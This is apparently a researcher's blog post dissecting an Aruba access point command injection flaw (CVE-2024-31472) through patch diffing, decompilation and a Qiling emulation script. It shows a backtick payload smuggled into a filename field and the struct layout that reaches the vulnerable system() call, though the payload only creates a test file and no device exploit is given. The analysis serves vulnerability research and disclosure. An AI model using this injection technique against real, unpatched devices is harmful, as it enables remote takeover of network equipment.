---
# System prepended metadata

title: Analysis of Aruba CVE-2024-31472

---

# Analysis of Aruba CVE-2024-31472

## I. Overview

This vulnerability was discovered by Erik De Jong ([bugcrowd.com/erikdejong](http://bugcrowd.com/erikdejong)) and published at [Aruba Vulnerability Summary](https://csaf.arubanetworks.com/2024/hpe_aruba_networking_-_2024-006.txt)

### 1\. Vuln details

```bash
Unauthenticated Command Injection Vulnerabilities in the Soft
  AP Daemon Service Accessed by the PAPI Protocol
  (CVE-2024-31472)
  --------------------------------------------------------------
    There are command injection vulnerabilities in the underlying
    Soft AP Daemon service that could lead to unauthenticated
    remote code execution by sending specially crafted packets
    destined to the PAPI (Aruba's Access Point management
    protocol) UDP port (8211). Successful exploitation of these
    vulnerabilities result in the ability to execute arbitrary
    code as a privileged user on the underlying operating system.
 
    Internal References: ATLWL-448, ATLWL-449
    Severity: Critical
    CVSSv3 Overall Score: 9.8
    CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
 
    Discovery: These vulnerabilities were discovered and reported
    by Erik De Jong (bugcrowd.com/erikdejong) via HPE Aruba
    Networking's bug bounty program.
 
    Workaround: Enabling cluster-security via the
    cluster-security command will prevent these vulnerabilities
    from being exploited in InstantOS devices running 8.x or
    6.x code. For ArubaOS 10 devices this is not an option and
    instead access to port UDP/8211 must be blocked from all
    untrusted networks. Please contact HPE Services - Aruba
    Networking TAC for configuration assistance.
Link: https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2024-006.txt
```

### 2\. Affected version

```bash
  - ArubaOS 10.6.x.x:   10.6.0.0 and above
  - ArubaOS 10.5.x.x:   10.5.1.1 and above
  - ArubaOS 10.4.x.x:   10.4.1.1 and above
  - InstantOS 8.12.x.x: 8.12.0.0 and above
  - InstantOS 8.11.x.x: 8.11.2.2 and above
  - InstantOS 8.10.x.x: 8.10.0.11 and above
  - InstantOS 8.6.x:    8.6.0.24 and above
```

### 3\. Firmware Extract

Download 2 version of firmware:

```bash
ArubaInstant_Ursa_8.11.2.1_88699
ArubaInstant_Ursa_8.11.2.2_89329
```

The vulnerable version is `8.11.2.1`

Extract command:

```bash
binwalk -e -M <firmware>
```

The vulnerable file:

```bash
cpio-root/aruba/bin/sapd
```

## II. Bindiff

Sort by similarity, because the vuln we are looking for is a command injection, we should check each entry for patches which contains functions like `system`, `execute_xxxx`,…

![1](https://hackmd.io/_uploads/SyblRXg9Je.png)

Also, the parameter passed to those functions must be able to be controlled.

The problematic call appear at address `ED8A0` in `sub_000ED61C`, in the patched version, the whole function is removed from the binary.

![2](https://hackmd.io/_uploads/B1DxRQxqkl.png)

## III. Analysis

This is what that call looks like in IDA

![3](https://hackmd.io/_uploads/Bk5xR7lqJx.png)

The `command` variable can be controlled by attacker, go back to the function that call `sub_ED61C` to understand how to control `command` value.

Function `sub_F6428` has a big switch-case block which process message sent to `sapd` service base on msg opcode. For each opcode, it call the appropriate function and pass a structure as parameter. This structure can be controlled. `sub_ED61C` can be accessed by sending opcode value `0xAC`.

![4](https://hackmd.io/_uploads/r1Re07ec1e.png)

Note that the same opcode value is not available in the patched firmware version. Maybe HPE decided to remove the problem instead of fixing it.

Enter `sub_ED61C`, it extract some option value from struct `a1`

![5](https://hackmd.io/_uploads/rJbbRXgckx.png)

With option `v4` = `filename`, `v5` is copied to `s`. `v5` value is supposed to be a filename string, or a path to file. Its value is then go through a loop which insert `\` prior to some characters.

![6](https://hackmd.io/_uploads/ByEZRmlqyg.png)

Even though most of the dangerous command injection character are filtered out, "\`" remain available. Attacker can craft a payload like this to create file `/tmp/haha.txt`

```bash
`touch${IFS}/tmp/haha.txt`
```

![image](https://hackmd.io/_uploads/SkVOcYD6Je.png)

The command that executed in `system` should be like this

```bash
dumpregs > /tmp/`touch${IFS}/tmp/haha.txt`
```

## IV. Emulation using qiling

This blog post won't demonstrate the way to reach the targeted function but instead we will focus on the emulation of the function itself. We will using qiling to run the service and at the start of `main` function, we set up parameters and change the `pc` register to our targeted function. Then (hopefully) the program will reach that problematic `system` call. Even though qiling is not good at handling `system`, we just have to verify the parameter that passed to it to declare victory!

First we must identify the start and end of emulation, to make it simple, i choose the function call instruction for start address and the next instruction for end address.

![image](https://hackmd.io/_uploads/HJsLScPTJx.png)

Also, it is important to specify the binary and directory that we want to emulate

```bash
from qiling import *
from qiling.const import *
import struct

BEGIN_ADDRESS = 0xF706C
END_ADDRESS = 0xF7070
argv = "./cpio-root-2.1/aruba/bin/sapd".split()
rootfs = "./cpio-root-2.1"
```

We want to execute the function immediately by setting hook at the start of the program.

```bash
def startHook(ql):
    ql.arch.regs.write("r0", BEGIN_ADDRESS)

if __name__ == "__main__":
    ql = Qiling(argv, rootfs, multithread=True, verbose=QL_VERBOSE.DEBUG)
    ql.hook_address(startHook, 0x10A38)
```

`sub_ED61C` requires 1 parameter, it is actually a struct that contains many informations. However, we only focus on data at offset 396

![image](https://hackmd.io/_uploads/SyOVs5DaJx.png)

This function will craft a valid object that makes `v4` hold `filename` and `v5` become our command payload

```bash
def setUpReg(ql):
    buf_a1 = ql.mem.map_anywhere(0x1000)
    addr = ql.mem.map_anywhere(0x1000)
    
    struct_a1 = b"\x00" * 128 + b"\xac"
    struct_a1 += b"\x00" * (396 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x200)
    struct_a1 += b"\x00" * (0x200 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x300)
    struct_a1 += b"\x00" * (0x300 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x400)
    struct_a1 += b"\x00" * (0x400 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x500)
    struct_a1 += struct.pack('<I', addr + 0x600)
    struct_a1 += b"\x00" * (0x500 - len(struct_a1))
    struct_a1 += b"filename" + b"\x00"
    struct_a1 += b"\x00" * (0x600 - len(struct_a1))
    struct_a1 += b"`touch${IFS}/tmp/haha.txt`"
    
    ql.mem.write(addr, struct_a1)
    ql.arch.regs.write("r0", addr)
```

During the emulation progress, there will be some function that the emulate environment not satisfy then crash the program. When we encounter these problem, it is better to hook or patch the process than actually fix it - which is time consuming. However, keep in mind that the hook should not interfere with the logic too much that will change the code flow directly.

For example, in `sub_ED61C` there is a call to check if a specific binary is available for use

![image](https://hackmd.io/_uploads/HyQ5a9vaye.png)

Checks like this can be hooked to make it always return our desired value.

Here is the full script:

```python
from qiling import *
from qiling.const import *
import struct

BEGIN_ADDRESS = 0xF706C
END_ADDRESS = 0xF7070
argv = "./cpio-root-2.1/aruba/bin/sapd".split()
rootfs = "./cpio-root-2.1"

def setUpReg(ql):
    buf_a1 = ql.mem.map_anywhere(0x1000)
    addr = ql.mem.map_anywhere(0x1000)
    
    struct_a1 = b"\x00" * 128 + b"\xac"
    struct_a1 += b"\x00" * (396 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x200)
    struct_a1 += b"\x00" * (0x200 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x300)
    struct_a1 += b"\x00" * (0x300 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x400)
    struct_a1 += b"\x00" * (0x400 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x500)
    struct_a1 += struct.pack('<I', addr + 0x600)
    struct_a1 += b"\x00" * (0x500 - len(struct_a1))
    struct_a1 += b"filename" + b"\x00"
    struct_a1 += b"\x00" * (0x600 - len(struct_a1))
    struct_a1 += b"`touch${IFS}/tmp/haha.txt`"
    


    ql.mem.write(addr, struct_a1)
    ql.arch.regs.write("r0", addr)

def hook1(ql):
    ql.arch.regs.write("r0", 0)
    
def startHook(ql):
    ql.arch.regs.write("r0", BEGIN_ADDRESS)
    


if __name__ == "__main__":
    ql = Qiling(argv, rootfs, multithread=True, verbose=QL_VERBOSE.DEBUG)
    ql.hook_address(startHook, 0x10A38) 
    
    ql.hook_address(setUpReg, BEGIN_ADDRESS) 
    ql.hook_address(hook1, 0xED824) 
    ql.debugger = True
    
    ql.run(end=END_ADDRESS)
```

Run that script, open up `gdb-multiarch`, set breakpoint at `0xED8A0` and then `target remote :9999`. After continuing the debugger, we reach the `system` call

![image](https://hackmd.io/_uploads/SJcNkjDpyx.png)

Success! We can later verify this by creating a simple C program that call system with the exact parameter. It should works. The script above serve only as the demonstration of the vulnerability. The full POC to actually attack real device is not included in this blog post and left as an exercise for readers. It requires a deeper analysis of how services communicate with each other using `Amapi` packet.